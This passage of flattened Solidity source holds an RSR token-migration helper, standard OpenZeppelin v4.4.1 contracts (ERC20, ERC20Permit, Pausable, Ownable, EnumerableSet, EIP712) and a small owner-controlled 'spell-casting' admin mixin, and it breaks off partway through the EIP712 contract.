                require(from != address(0), "from cannot be zero address");
                // Redistribute weights
                weights[from][oldTo] -= weight;
                weights[from][newTo] += weight;
                origins[newTo].add(from);
            }
            /// @return sum The starting balance for an account after crossing from OldRSR
            function _oldBal(address account) internal view returns (uint256 sum) {
                if (!hasWeights[account]) {
                    sum = oldRSR.balanceOf(account);
                }
                for (uint256 i = 0; i < origins[account].length(); i++) {
                    // Note that there is an acceptable loss of precision equal to ~1e18 RSR quanta
                    address from = origins[account].at(i);
                    sum += (oldRSR.balanceOf(from) * weights[from][account]) / WEIGHT_ONE;
                }
            }
        }
        // SPDX-License-Identifier: MIT
        // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol)
        pragma solidity ^0.8.0;
        import "./draft-IERC20Permit.sol";
        import "../ERC20.sol";
        import "../../../utils/cryptography/draft-EIP712.sol";
        import "../../../utils/cryptography/ECDSA.sol";
        import "../../../utils/Counters.sol";
        /**
         * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
         * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
         *
         * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
         * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
         * need to send a transaction, and thus is not required to hold Ether at all.
         *
         * _Available since v3.4._
         */
        abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
            using Counters for Counters.Counter;
            mapping(address => Counters.Counter) private _nonces;
            // solhint-disable-next-line var-name-mixedcase
            bytes32 private immutable _PERMIT_TYPEHASH =
                keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
            /**
             * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
             *
             * It's a good idea to use the same `name` that is defined as the ERC20 token name.
             */
            constructor(string memory name) EIP712(name, "1") {}
            /**
             * @dev See {IERC20Permit-permit}.
             */
            function permit(
                address owner,
                address spender,
                uint256 value,
                uint256 deadline,
                uint8 v,
                bytes32 r,
                bytes32 s
            ) public virtual override {
                require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
                bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
                bytes32 hash = _hashTypedDataV4(structHash);
                address signer = ECDSA.recover(hash, v, r, s);
                require(signer == owner, "ERC20Permit: invalid signature");
                _approve(owner, spender, value);
            }
            /**
             * @dev See {IERC20Permit-nonces}.
             */
            function nonces(address owner) public view virtual override returns (uint256) {
                return _nonces[owner].current();
            }
            /**
             * @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
             */
            // solhint-disable-next-line func-name-mixedcase
            function DOMAIN_SEPARATOR() external view override returns (bytes32) {
                return _domainSeparatorV4();
            }
            /**
             * @dev "Consume a nonce": return the current value and increment.
             *
             * _Available since v4.1._
             */
            function _useNonce(address owner) internal virtual returns (uint256 current) {
                Counters.Counter storage nonce = _nonces[owner];
                current = nonce.current();
                nonce.increment();
            }
        }
        // SPDX-License-Identifier: MIT
        // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Pausable.sol)
        pragma solidity ^0.8.0;
        import "../ERC20.sol";
        import "../../../security/Pausable.sol";
        /**
         * @dev ERC20 token with pausable token transfers, minting and burning.
         *
         * Useful for scenarios such as preventing trades until the end of an evaluation
         * period, or having an emergency switch for freezing all token transfers in the
         * event of a large bug.
         */
        abstract contract ERC20Pausable is ERC20, Pausable {
            /**
             * @dev See {ERC20-_beforeTokenTransfer}.
             *
             * Requirements:
             *
             * - the contract must not be paused.
             */
            function _beforeTokenTransfer(
                address from,
                address to,
                uint256 amount
            ) internal virtual override {
                super._beforeTokenTransfer(from, to, amount);
                require(!paused(), "ERC20Pausable: token transfer while paused");
            }
        }
        // SPDX-License-Identifier: MIT
        // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
        pragma solidity ^0.8.0;
        /**
         * @dev Library for managing
         * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
         * types.
         *
         * Sets have the following properties:
         *
         * - Elements are added, removed, and checked for existence in constant time
         * (O(1)).
         * - Elements are enumerated in O(n). No guarantees are made on the ordering.
         *
         * ```
         * contract Example {
         *     // Add the library methods
         *     using EnumerableSet for EnumerableSet.AddressSet;
         *
         *     // Declare a set state variable
         *     EnumerableSet.AddressSet private mySet;
         * }
         * ```
         *
         * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
         * and `uint256` (`UintSet`) are supported.
         */
        library EnumerableSet {
            // To implement this library for multiple types with as little code
            // repetition as possible, we write it in terms of a generic Set type with
            // bytes32 values.
            // The Set implementation uses private functions, and user-facing
            // implementations (such as AddressSet) are just wrappers around the
            // underlying Set.
            // This means that we can only create new EnumerableSets for types that fit
            // in bytes32.
            struct Set {
                // Storage of set values
                bytes32[] _values;
                // Position of the value in the `values` array, plus 1 because index 0
                // means a value is not in the set.
                mapping(bytes32 => uint256) _indexes;
            }
            /**
             * @dev Add a value to a set. O(1).
             *
             * Returns true if the value was added to the set, that is if it was not
             * already present.
             */
            function _add(Set storage set, bytes32 value) private returns (bool) {
                if (!_contains(set, value)) {
                    set._values.push(value);
                    // The value is stored at length-1, but we add 1 to all indexes
                    // and use 0 as a sentinel value
                    set._indexes[value] = set._values.length;
                    return true;
                } else {
                    return false;
                }
            }
            /**
             * @dev Removes a value from a set. O(1).
             *
             * Returns true if the value was removed from the set, that is if it was
             * present.
             */
            function _remove(Set storage set, bytes32 value) private returns (bool) {
                // We read and store the value's index to prevent multiple reads from the same storage slot
                uint256 valueIndex = set._indexes[value];
                if (valueIndex != 0) {
                    // Equivalent to contains(set, value)
                    // To delete an element from the _values array in O(1), we swap the element to delete with the last one in
                    // the array, and then remove the last element (sometimes called as 'swap and pop').
                    // This modifies the order of the array, as noted in {at}.
                    uint256 toDeleteIndex = valueIndex - 1;
                    uint256 lastIndex = set._values.length - 1;
                    if (lastIndex != toDeleteIndex) {
                        bytes32 lastvalue = set._values[lastIndex];
                        // Move the last value to the index where the value to delete is
                        set._values[toDeleteIndex] = lastvalue;
                        // Update the index for the moved value
                        set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
                    }
                    // Delete the slot where the moved value was stored
                    set._values.pop();
                    // Delete the index for the deleted slot
                    delete set._indexes[value];
                    return true;
                } else {
                    return false;
                }
            }
            /**
             * @dev Returns true if the value is in the set. O(1).
             */
            function _contains(Set storage set, bytes32 value) private view returns (bool) {
                return set._indexes[value] != 0;
            }
            /**
             * @dev Returns the number of values on the set. O(1).
             */
            function _length(Set storage set) private view returns (uint256) {
                return set._values.length;
            }
            /**
             * @dev Returns the value stored at position `index` in the set. O(1).
             *
             * Note that there are no guarantees on the ordering of values inside the
             * array, and it may change when more values are added or removed.
             *
             * Requirements:
             *
             * - `index` must be strictly less than {length}.
             */
            function _at(Set storage set, uint256 index) private view returns (bytes32) {
                return set._values[index];
            }
            /**
             * @dev Return the entire set in an array
             *
             * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
             * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
             * this function has an unbounded cost, and using it as part of a state-changing function may render the function
             * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
             */
            function _values(Set storage set) private view returns (bytes32[] memory) {
                return set._values;
            }
            // Bytes32Set
            struct Bytes32Set {
                Set _inner;
            }
            /**
             * @dev Add a value to a set. O(1).
             *
             * Returns true if the value was added to the set, that is if it was not
             * already present.
             */
            function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
                return _add(set._inner, value);
            }
            /**
             * @dev Removes a value from a set. O(1).
             *
             * Returns true if the value was removed from the set, that is if it was
             * present.
             */
            function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
                return _remove(set._inner, value);
            }
            /**
             * @dev Returns true if the value is in the set. O(1).
             */
            function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
                return _contains(set._inner, value);
            }
            /**
             * @dev Returns the number of values in the set. O(1).
             */
            function length(Bytes32Set storage set) internal view returns (uint256) {
                return _length(set._inner);
            }
            /**
             * @dev Returns the value stored at position `index` in the set. O(1).
             *
             * Note that there are no guarantees on the ordering of values inside the
             * array, and it may change when more values are added or removed.
             *
             * Requirements:
             *
             * - `index` must be strictly less than {length}.
             */
            function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
                return _at(set._inner, index);
            }
            /**
             * @dev Return the entire set in an array
             *
             * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
             * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
             * this function has an unbounded cost, and using it as part of a state-changing function may render the function
             * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
             */
            function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
                return _values(set._inner);
            }
            // AddressSet
            struct AddressSet {
                Set _inner;
            }
            /**
             * @dev Add a value to a set. O(1).
             *
             * Returns true if the value was added to the set, that is if it was not
             * already present.
             */
            function add(AddressSet storage set, address value) internal returns (bool) {
                return _add(set._inner, bytes32(uint256(uint160(value))));
            }
            /**
             * @dev Removes a value from a set. O(1).
             *
             * Returns true if the value was removed from the set, that is if it was
             * present.
             */
            function remove(AddressSet storage set, address value) internal returns (bool) {
                return _remove(set._inner, bytes32(uint256(uint160(value))));
            }
            /**
             * @dev Returns true if the value is in the set. O(1).
             */
            function contains(AddressSet storage set, address value) internal view returns (bool) {
                return _contains(set._inner, bytes32(uint256(uint160(value))));
            }
            /**
             * @dev Returns the number of values in the set. O(1).
             */
            function length(AddressSet storage set) internal view returns (uint256) {
                return _length(set._inner);
            }
            /**
             * @dev Returns the value stored at position `index` in the set. O(1).
             *
             * Note that there are no guarantees on the ordering of values inside the
             * array, and it may change when more values are added or removed.
             *
             * Requirements:
             *
             * - `index` must be strictly less than {length}.
             */
            function at(AddressSet storage set, uint256 index) internal view returns (address) {
                return address(uint160(uint256(_at(set._inner, index))));
            }
            /**
             * @dev Return the entire set in an array
             *
             * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
             * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
             * this function has an unbounded cost, and using it as part of a state-changing function may render the function
             * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
             */
            function values(AddressSet storage set) internal view returns (address[] memory) {
                bytes32[] memory store = _values(set._inner);
                address[] memory result;
                assembly {
                    result := store
                }
                return result;
            }
            // UintSet
            struct UintSet {
                Set _inner;
            }
            /**
             * @dev Add a value to a set. O(1).
             *
             * Returns true if the value was added to the set, that is if it was not
             * already present.
             */
            function add(UintSet storage set, uint256 value) internal returns (bool) {
                return _add(set._inner, bytes32(value));
            }
            /**
             * @dev Removes a value from a set. O(1).
             *
             * Returns true if the value was removed from the set, that is if it was
             * present.
             */
            function remove(UintSet storage set, uint256 value) internal returns (bool) {
                return _remove(set._inner, bytes32(value));
            }
            /**
             * @dev Returns true if the value is in the set. O(1).
             */
            function contains(UintSet storage set, uint256 value) internal view returns (bool) {
                return _contains(set._inner, bytes32(value));
            }
            /**
             * @dev Returns the number of values on the set. O(1).
             */
            function length(UintSet storage set) internal view returns (uint256) {
                return _length(set._inner);
            }
            /**
             * @dev Returns the value stored at position `index` in the set. O(1).
             *
             * Note that there are no guarantees on the ordering of values inside the
             * array, and it may change when more values are added or removed.
             *
             * Requirements:
             *
             * - `index` must be strictly less than {length}.
             */
            function at(UintSet storage set, uint256 index) internal view returns (uint256) {
                return uint256(_at(set._inner, index));
            }
            /**
             * @dev Return the entire set in an array
             *
             * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
             * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
             * this function has an unbounded cost, and using it as part of a state-changing function may render the function
             * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
             */
            function values(UintSet storage set) internal view returns (uint256[] memory) {
                bytes32[] memory store = _values(set._inner);
                uint256[] memory result;
                assembly {
                    result := store
                }
                return result;
            }
        }
        // SPDX-License-Identifier: MIT
        // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
        pragma solidity ^0.8.0;
        import "../utils/Context.sol";
        /**
         * @dev Contract module which allows children to implement an emergency stop
         * mechanism that can be triggered by an authorized account.
         *
         * This module is used through inheritance. It will make available the
         * modifiers `whenNotPaused` and `whenPaused`, which can be applied to
         * the functions of your contract. Note that they will not be pausable by
         * simply including this module, only once the modifiers are put in place.
         */
        abstract contract Pausable is Context {
            /**
             * @dev Emitted when the pause is triggered by `account`.
             */
            event Paused(address account);
            /**
             * @dev Emitted when the pause is lifted by `account`.
             */
            event Unpaused(address account);
            bool private _paused;
            /**
             * @dev Initializes the contract in unpaused state.
             */
            constructor() {
                _paused = false;
            }
            /**
             * @dev Returns true if the contract is paused, and false otherwise.
             */
            function paused() public view virtual returns (bool) {
                return _paused;
            }
            /**
             * @dev Modifier to make a function callable only when the contract is not paused.
             *
             * Requirements:
             *
             * - The contract must not be paused.
             */
            modifier whenNotPaused() {
                require(!paused(), "Pausable: paused");
                _;
            }
            /**
             * @dev Modifier to make a function callable only when the contract is paused.
             *
             * Requirements:
             *
             * - The contract must be paused.
             */
            modifier whenPaused() {
                require(paused(), "Pausable: not paused");
                _;
            }
            /**
             * @dev Triggers stopped state.
             *
             * Requirements:
             *
             * - The contract must not be paused.
             */
            function _pause() internal virtual whenNotPaused {
                _paused = true;
                emit Paused(_msgSender());
            }
            /**
             * @dev Returns to normal state.
             *
             * Requirements:
             *
             * - The contract must be paused.
             */
            function _unpause() internal virtual whenPaused {
                _paused = false;
                emit Unpaused(_msgSender());
            }
        }
        // SPDX-License-Identifier: MIT
        // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
        pragma solidity ^0.8.0;
        import "../utils/Context.sol";
        /**
         * @dev Contract module which provides a basic access control mechanism, where
         * there is an account (an owner) that can be granted exclusive access to
         * specific functions.
         *
         * By default, the owner account will be the one that deploys the contract. This
         * can later be changed with {transferOwnership}.
         *
         * This module is used through inheritance. It will make available the modifier
         * `onlyOwner`, which can be applied to your functions to restrict their use to
         * the owner.
         */
        abstract contract Ownable is Context {
            address private _owner;
            event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
            /**
             * @dev Initializes the contract setting the deployer as the initial owner.
             */
            constructor() {
                _transferOwnership(_msgSender());
            }
            /**
             * @dev Returns the address of the current owner.
             */
            function owner() public view virtual returns (address) {
                return _owner;
            }
            /**
             * @dev Throws if called by any account other than the owner.
             */
            modifier onlyOwner() {
                require(owner() == _msgSender(), "Ownable: caller is not the owner");
                _;
            }
            /**
             * @dev Leaves the contract without owner. It will not be possible to call
             * `onlyOwner` functions anymore. Can only be called by the current owner.
             *
             * NOTE: Renouncing ownership will leave the contract without an owner,
             * thereby removing any functionality that is only available to the owner.
             */
            function renounceOwnership() public virtual onlyOwner {
                _transferOwnership(address(0));
            }
            /**
             * @dev Transfers ownership of the contract to a new account (`newOwner`).
             * Can only be called by the current owner.
             */
            function transferOwnership(address newOwner) public virtual onlyOwner {
                require(newOwner != address(0), "Ownable: new owner is the zero address");
                _transferOwnership(newOwner);
            }
            /**
             * @dev Transfers ownership of the contract to a new account (`newOwner`).
             * Internal function without access restriction.
             */
            function _transferOwnership(address newOwner) internal virtual {
                address oldOwner = _owner;
                _owner = newOwner;
                emit OwnershipTransferred(oldOwner, newOwner);
            }
        }
        // SPDX-License-Identifier: MIT
        pragma solidity 0.8.4;
        import "@openzeppelin/contracts/access/Ownable.sol";
        import "./Spell.sol";
        /**
         * @title Enchantable
         * @dev A very simple mixin that enables the spell-casting pattern.
         */
        abstract contract Enchantable is Ownable {
            address private _mage;
            event MageChanged(address oldMage, address newMage);
            event SpellCast(address indexed addr);
            modifier onlyAdmin() {
                require(_msgSender() == _mage || _msgSender() == owner(), "only mage or owner");
                _;
            }
            /// At the end of a transaction, mage() should *always* be 0!
            function mage() public view returns (address) {
                return _mage;
            }
            /// Grants mage to a Spell, casts the spell, and restore mage
            function castSpell(Spell spell) external onlyOwner {
                _grantMage(address(spell));
                spell.cast();
                _grantMage(address(0));
                emit SpellCast(address(spell));
            }
            function _grantMage(address mage_) private {
                emit MageChanged(_mage, mage_);
                _mage = mage_;
            }
        }
        // SPDX-License-Identifier: MIT
        // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
        pragma solidity ^0.8.0;
        /**
         * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
         * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
         *
         * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
         * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
         * need to send a transaction, and thus is not required to hold Ether at all.
         */
        interface IERC20Permit {
            /**
             * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
             * given ``owner``'s signed approval.
             *
             * IMPORTANT: The same issues {IERC20-approve} has related to transaction
             * ordering also apply here.
             *
             * Emits an {Approval} event.
             *
             * Requirements:
             *
             * - `spender` cannot be the zero address.
             * - `deadline` must be a timestamp in the future.
             * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
             * over the EIP712-formatted function arguments.
             * - the signature must use ``owner``'s current nonce (see {nonces}).
             *
             * For more information on the signature format, see the
             * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
             * section].
             */
            function permit(
                address owner,
                address spender,
                uint256 value,
                uint256 deadline,
                uint8 v,
                bytes32 r,
                bytes32 s
            ) external;
            /**
             * @dev Returns the current nonce for `owner`. This value must be
             * included whenever a signature is generated for {permit}.
             *
             * Every successful call to {permit} increases ``owner``'s nonce by one. This
             * prevents a signature from being used multiple times.
             */
            function nonces(address owner) external view returns (uint256);
            /**
             * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
             */
            // solhint-disable-next-line func-name-mixedcase
            function DOMAIN_SEPARATOR() external view returns (bytes32);
        }
        // SPDX-License-Identifier: MIT
        // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
        pragma solidity ^0.8.0;
        import "./IERC20.sol";
        import "./extensions/IERC20Metadata.sol";
        import "../../utils/Context.sol";
        /**
         * @dev Implementation of the {IERC20} interface.
         *
         * This implementation is agnostic to the way tokens are created. This means
         * that a supply mechanism has to be added in a derived contract using {_mint}.
         * For a generic mechanism see {ERC20PresetMinterPauser}.
         *
         * TIP: For a detailed writeup see our guide
         * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
         * to implement supply mechanisms].
         *
         * We have followed general OpenZeppelin Contracts guidelines: functions revert
         * instead returning `false` on failure. This behavior is nonetheless
         * conventional and does not conflict with the expectations of ERC20
         * applications.
         *
         * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
         * This allows applications to reconstruct the allowance for all accounts just
         * by listening to said events. Other implementations of the EIP may not emit
         * these events, as it isn't required by the specification.
         *
         * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
         * functions have been added to mitigate the well-known issues around setting
         * allowances. See {IERC20-approve}.
         */
        contract ERC20 is Context, IERC20, IERC20Metadata {
            mapping(address => uint256) private _balances;
            mapping(address => mapping(address => uint256)) private _allowances;
            uint256 private _totalSupply;
            string private _name;
            string private _symbol;
            /**
             * @dev Sets the values for {name} and {symbol}.
             *
             * The default value of {decimals} is 18. To select a different value for
             * {decimals} you should overload it.
             *
             * All two of these values are immutable: they can only be set once during
             * construction.
             */
            constructor(string memory name_, string memory symbol_) {
                _name = name_;
                _symbol = symbol_;
            }
            /**
             * @dev Returns the name of the token.
             */
            function name() public view virtual override returns (string memory) {
                return _name;
            }
            /**
             * @dev Returns the symbol of the token, usually a shorter version of the
             * name.
             */
            function symbol() public view virtual override returns (string memory) {
                return _symbol;
            }
            /**
             * @dev Returns the number of decimals used to get its user representation.
             * For example, if `decimals` equals `2`, a balance of `505` tokens should
             * be displayed to a user as `5.05` (`505 / 10 ** 2`).
             *
             * Tokens usually opt for a value of 18, imitating the relationship between
             * Ether and Wei. This is the value {ERC20} uses, unless this function is
             * overridden;
             *
             * NOTE: This information is only used for _display_ purposes: it in
             * no way affects any of the arithmetic of the contract, including
             * {IERC20-balanceOf} and {IERC20-transfer}.
             */
            function decimals() public view virtual override returns (uint8) {
                return 18;
            }
            /**
             * @dev See {IERC20-totalSupply}.
             */
            function totalSupply() public view virtual override returns (uint256) {
                return _totalSupply;
            }
            /**
             * @dev See {IERC20-balanceOf}.
             */
            function balanceOf(address account) public view virtual override returns (uint256) {
                return _balances[account];
            }
            /**
             * @dev See {IERC20-transfer}.
             *
             * Requirements:
             *
             * - `recipient` cannot be the zero address.
             * - the caller must have a balance of at least `amount`.
             */
            function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
                _transfer(_msgSender(), recipient, amount);
                return true;
            }
            /**
             * @dev See {IERC20-allowance}.
             */
            function allowance(address owner, address spender) public view virtual override returns (uint256) {
                return _allowances[owner][spender];
            }
            /**
             * @dev See {IERC20-approve}.
             *
             * Requirements:
             *
             * - `spender` cannot be the zero address.
             */
            function approve(address spender, uint256 amount) public virtual override returns (bool) {
                _approve(_msgSender(), spender, amount);
                return true;
            }
            /**
             * @dev See {IERC20-transferFrom}.
             *
             * Emits an {Approval} event indicating the updated allowance. This is not
             * required by the EIP. See the note at the beginning of {ERC20}.
             *
             * Requirements:
             *
             * - `sender` and `recipient` cannot be the zero address.
             * - `sender` must have a balance of at least `amount`.
             * - the caller must have allowance for ``sender``'s tokens of at least
             * `amount`.
             */
            function transferFrom(
                address sender,
                address recipient,
                uint256 amount
            ) public virtual override returns (bool) {
                _transfer(sender, recipient, amount);
                uint256 currentAllowance = _allowances[sender][_msgSender()];
                require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
                unchecked {
                    _approve(sender, _msgSender(), currentAllowance - amount);
                }
                return true;
            }
            /**
             * @dev Atomically increases the allowance granted to `spender` by the caller.
             *
             * This is an alternative to {approve} that can be used as a mitigation for
             * problems described in {IERC20-approve}.
             *
             * Emits an {Approval} event indicating the updated allowance.
             *
             * Requirements:
             *
             * - `spender` cannot be the zero address.
             */
            function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
                _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
                return true;
            }
            /**
             * @dev Atomically decreases the allowance granted to `spender` by the caller.
             *
             * This is an alternative to {approve} that can be used as a mitigation for
             * problems described in {IERC20-approve}.
             *
             * Emits an {Approval} event indicating the updated allowance.
             *
             * Requirements:
             *
             * - `spender` cannot be the zero address.
             * - `spender` must have allowance for the caller of at least
             * `subtractedValue`.
             */
            function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
                uint256 currentAllowance = _allowances[_msgSender()][spender];
                require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
                unchecked {
                    _approve(_msgSender(), spender, currentAllowance - subtractedValue);
                }
                return true;
            }
            /**
             * @dev Moves `amount` of tokens from `sender` to `recipient`.
             *
             * This internal function is equivalent to {transfer}, and can be used to
             * e.g. implement automatic token fees, slashing mechanisms, etc.
             *
             * Emits a {Transfer} event.
             *
             * Requirements:
             *
             * - `sender` cannot be the zero address.
             * - `recipient` cannot be the zero address.
             * - `sender` must have a balance of at least `amount`.
             */
            function _transfer(
                address sender,
                address recipient,
                uint256 amount
            ) internal virtual {
                require(sender != address(0), "ERC20: transfer from the zero address");
                require(recipient != address(0), "ERC20: transfer to the zero address");
                _beforeTokenTransfer(sender, recipient, amount);
                uint256 senderBalance = _balances[sender];
                require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
                unchecked {
                    _balances[sender] = senderBalance - amount;
                }
                _balances[recipient] += amount;
                emit Transfer(sender, recipient, amount);
                _afterTokenTransfer(sender, recipient, amount);
            }
            /** @dev Creates `amount` tokens and assigns them to `account`, increasing
             * the total supply.
             *
             * Emits a {Transfer} event with `from` set to the zero address.
             *
             * Requirements:
             *
             * - `account` cannot be the zero address.
             */
            function _mint(address account, uint256 amount) internal virtual {
                require(account != address(0), "ERC20: mint to the zero address");
                _beforeTokenTransfer(address(0), account, amount);
                _totalSupply += amount;
                _balances[account] += amount;
                emit Transfer(address(0), account, amount);
                _afterTokenTransfer(address(0), account, amount);
            }
            /**
             * @dev Destroys `amount` tokens from `account`, reducing the
             * total supply.
             *
             * Emits a {Transfer} event with `to` set to the zero address.
             *
             * Requirements:
             *
             * - `account` cannot be the zero address.
             * - `account` must have at least `amount` tokens.
             */
            function _burn(address account, uint256 amount) internal virtual {
                require(account != address(0), "ERC20: burn from the zero address");
                _beforeTokenTransfer(account, address(0), amount);
                uint256 accountBalance = _balances[account];
                require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
                unchecked {
                    _balances[account] = accountBalance - amount;
                }
                _totalSupply -= amount;
                emit Transfer(account, address(0), amount);
                _afterTokenTransfer(account, address(0), amount);
            }
            /**
             * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
             *
             * This internal function is equivalent to `approve`, and can be used to
             * e.g. set automatic allowances for certain subsystems, etc.
             *
             * Emits an {Approval} event.
             *
             * Requirements:
             *
             * - `owner` cannot be the zero address.
             * - `spender` cannot be the zero address.
             */
            function _approve(
                address owner,
                address spender,
                uint256 amount
            ) internal virtual {
                require(owner != address(0), "ERC20: approve from the zero address");
                require(spender != address(0), "ERC20: approve to the zero address");
                _allowances[owner][spender] = amount;
                emit Approval(owner, spender, amount);
            }
            /**
             * @dev Hook that is called before any transfer of tokens. This includes
             * minting and burning.
             *
             * Calling conditions:
             *
             * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
             * will be transferred to `to`.
             * - when `from` is zero, `amount` tokens will be minted for `to`.
             * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
             * - `from` and `to` are never both zero.
             *
             * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
             */
            function _beforeTokenTransfer(
                address from,
                address to,
                uint256 amount
            ) internal virtual {}
            /**
             * @dev Hook that is called after any transfer of tokens. This includes
             * minting and burning.
             *
             * Calling conditions:
             *
             * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
             * has been transferred to `to`.
             * - when `from` is zero, `amount` tokens have been minted for `to`.
             * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
             * - `from` and `to` are never both zero.
             *
             * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
             */
            function _afterTokenTransfer(
                address from,
                address to,
                uint256 amount
            ) internal virtual {}
        }
        // SPDX-License-Identifier: MIT
        // OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol)
        pragma solidity ^0.8.0;
        import "./ECDSA.sol";
        /**
         * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
         *
         * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
         * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
         * they need in their contracts using a combination of `abi.encode` and `keccak256`.
         *
         * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
         * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
         * ({_hashTypedDataV4}).
         *
         * The implementation of the domain separator was designed to be as efficient as possible while still properly updating
         * the chain id to protect against replay attacks on an eventual fork of the chain.
         *
         * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
         * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
         *
         * _Available since v3.4._
         */
        abstract contract EIP712 {
            /* solhint-disable var-name-mixedcase */
            // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
            // invalidate the cached domain separator if the chain id changes.
            bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
            uint256 private immutable _CACHED_CHAIN_ID;
            address private immutable _CACHED_THIS;
            bytes32 private immutable _HASHED_NAME;
            bytes32 private immutable _HASHED_VERSION;
            bytes32 private immutable _TYPE_HASH;
            /* solhint-enable var-name-mixedcase */
            /**
             * @dev Initializes the domain separator and parameter caches.
             *
             * The meaning of `name` and `version` is specified in
             * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
             *
             * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
             * - `version`: the current major version of the signing domain.
             *
             * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
             * contract upgrade].
             */
            constructor(string memory name, string memory version) {
                bytes32 hashedName = keccak256(bytes(name));
                bytes32 hashedVersion = keccak256(bytes(version));
                bytes32 typeHash = keccak256(
                    "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
                );
                _HASHED_NAME = hashedName;
                _HASHED_VERSION = hashedVersion;
                _CACHED_CHAIN_ID = block.chainid;
                _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
                _CACHED_THIS = address(this);
                _TYPE_HASH = typeHash;
            }
            /**
             * @dev Returns the domain separator for the current chain.
             */
            function _domainSeparatorV4() internal view returns (bytes32) {
                if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) {
                    return _CACHED_DOMAIN_SEPARATOR;
                } else {
                    return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
                }
            }
            function _buildDomainSeparator(
                bytes32 typeHash,
                bytes32 nameHash,
                bytes32 versionHash
            ) private view returns (bytes32) {
                return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
            }
            /**
